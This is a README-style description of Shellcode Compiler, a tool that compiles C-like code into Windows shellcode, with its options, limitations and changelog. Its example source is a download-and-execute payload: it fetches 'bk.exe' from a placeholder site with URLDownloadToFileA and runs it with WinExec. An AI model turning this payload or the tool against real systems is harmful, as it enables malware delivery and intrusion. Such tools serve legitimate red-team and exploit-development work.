Description
Shellcode Compiler is a program that compiles C/C++ style code into a small, position-independent and NULL-free shellcode for Windows. It is possible to call any Windows API function in a user-friendly way.
Shellcode Compiler takes as input a source file and it uses it’s own compiler to interpret the code and generate an assembly file which is assembled with NASM (http://www.nasm.us/).
Shellcode Compiler was released at DefCamp 7 conference in Romania, November 2016.
Download
The latest version of the source code and binaries is available on the GitHub page:
https://github.com/NytroRST/ShellcodeCompiler
Command line options
-h (--help) : Show this help message -v (--verbose) : Print detailed output -t (--test) : Test (execute) generated shellcode -r (--read) : Read source code file -o (--output) : Output file of the generated binary shellcode -a (--assembbly) : Output file of the generated assembly code
Source code example
function URLDownloadToFileA("urlmon.dll"); function WinExec("kernel32.dll"); function ExitProcess("kernel32.dll"); URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0); WinExec("bk.exe",0); ExitProcess(0);
Invokation example
ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm
Limitations
- It is not possible to use the return value of an API call
- It is not possible to use pointers or buffers
- It is not possible to declare variables
Changelog
- Code refactoring
- Exception handling on testing a shellcode (Alkis Christidis)
All these limitations will be fixed as soon as possible. However, many other limitations will exist. This is an Alpha version. Please report any bugs or suggestions.